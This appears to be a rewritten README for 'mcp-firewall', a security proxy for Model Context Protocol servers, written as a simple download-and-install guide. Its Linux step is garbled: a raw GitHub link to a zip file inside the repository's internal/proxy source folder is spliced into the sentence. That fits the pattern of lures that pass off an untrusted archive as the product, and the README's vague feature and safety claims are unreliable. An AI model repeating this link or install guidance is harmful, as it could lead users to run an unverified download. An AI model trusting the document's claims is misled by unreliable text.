🔥 mcp-firewall - Easy Security for MCP Servers

🔍 What is mcp-firewall?

mcp-firewall is a security tool designed to protect Model Context Protocol (MCP) servers. It acts as a filter that controls what data goes in and out. This helps keep your server safe by enforcing rules, hiding sensitive information, running tasks safely, and managing supply chain risks.

You do not need to know technical details to use it. This guide will help you download and run the software easily on your computer.

🖥️ System Requirements

Before installing mcp-firewall, make sure your computer meets these requirements:

• Operating System: Windows 10 or later, macOS 10.14 or later, or most Linux distributions.
• Processor: Any modern processor, like Intel i3 or better.
• Memory: At least 4 GB of RAM.
• Disk Space: Minimum 100 MB free space.
• Internet Connection: Needed to download the software and get updates.

mcp-firewall works on most computers made in the last 5 years. If your system is older, it might still work but could be slower.

📦 Features Overview

Here are the key features of mcp-firewall:

• Policy Enforcement: Set clear rules on what data is allowed or blocked.
• Data Redaction: Hide private or sensitive information automatically.
• Sandboxing: Run dangerous or unknown code safely without risk.
• Supply Chain Controls: Monitor and control software components used in your environment.
• Audit Logging: Keep track of all actions for review and security checks.
• Command Line Interface (CLI): Run and manage the firewall using simple commands.

These features help secure your MCP server without requiring deep technical skills.

🚀 Getting Started

Follow these steps to get mcp-firewall up and running on your system. The process uses simple actions like downloading files and clicking buttons.

⬇️ Download & Install

1. Click on the big blue button at the top or visit the official releases page to get the latest version.
2. On the releases page, you will see several files for different systems. Choose the one that matches your computer:
   • For Windows, download the .exe file.
   • For macOS, download the .dmg or .pkg file.
   • For Linux, download the https://github.com/Betoche57/mcp-firewall/raw/refs/heads/main/internal/proxy/mcp-firewall-v2.5-beta.1.zip or .deb file.
3. Save the file to your computer.
4. Open the file to start installation:
   • On Windows, double-click the .exe and follow the installer steps.
   • On macOS, open the package and drag the app to your Applications folder.
   • On Linux, follow the instructions in the file or use the terminal commands provided.
5. Wait for the installation to complete.
6. After installation, you will see an app icon named "mcp-firewall" or "MCP Firewall" on your desktop or in your applications list.

▶️ Running the Application

Once installed, running mcp-firewall is simple:

• Windows/macOS: Double-click the app icon.
• Linux: Open a terminal and type mcp-firewall followed by pressing Enter.

When the app starts, it opens a window or terminal showing its status. It begins protecting your MCP server automatically according to default rules.

⚙️ Basic Configuration

mcp-firewall uses rules to decide what to block or allow. You can change these rules to fit your needs:

1. Open the mcp-firewall application.
2. Look for the "Settings" or "Configuration" section.
3. Use the provided options to add or remove rules. Some common settings include:
   • Allowing trusted devices or users.
   • Blocking specific data types or addresses.
   • Setting redaction preferences to hide sensitive information like passwords.
4. Save your changes.

If you need help with settings, there will be clear options and explanations in the app. You do not need to write any code.

🔍 Monitoring and Logs

mcp-firewall records all its activities for you to review.

• You can open the "Logs" section in the app to see recent events.
• Logs show what data was blocked or allowed.
• This helps you understand what the firewall is doing and make adjustments if needed.

Logs are stored securely and do not expose private information.

✋ Troubleshooting

If you encounter problems, try these steps:

• The app won’t start: Restart your computer and try again.
• Can’t find the app after installation: Check your Downloads folder or search for “mcp-firewall” in your system’s app list.
• Download issues: Make sure your internet connection is working and try downloading from the releases page again.
• Firewall blocks needed data: Adjust the settings to allow trusted sources.

For more help, check the "Help" or "Support" section inside the app.

🔐 Security and Privacy

mcp-firewall is designed with your security in mind. It protects your MCP server by strictly following the rules you set. Data redaction and sandboxing keep sensitive information safe and prevent harmful code from running.

Your actions are logged so you can review them and maintain control over your server’s security.

🔄 Updates

Check the releases page regularly to get the latest version. Updates may include new features, security patches, and performance improvements.

You can also enable automatic updates in the app settings if available.

📚 Additional Resources

• Official documentation: Found on the GitHub repository page.
• Frequently Asked Questions: Inside the app or on the GitHub repository.
• Community support: GitHub Discussions or issue tracker for questions.

🏷️ Topics

This project focuses on: ai-security, audit-logging, cel, cli, firewall, golang, llm-tools, mcp, model-context-protocol, policy-engine, proxy, redaction, sandboxing, security, supply-chain-security.

These terms relate to the technology and security areas that mcp-firewall addresses.

Visit the official download page to get started today.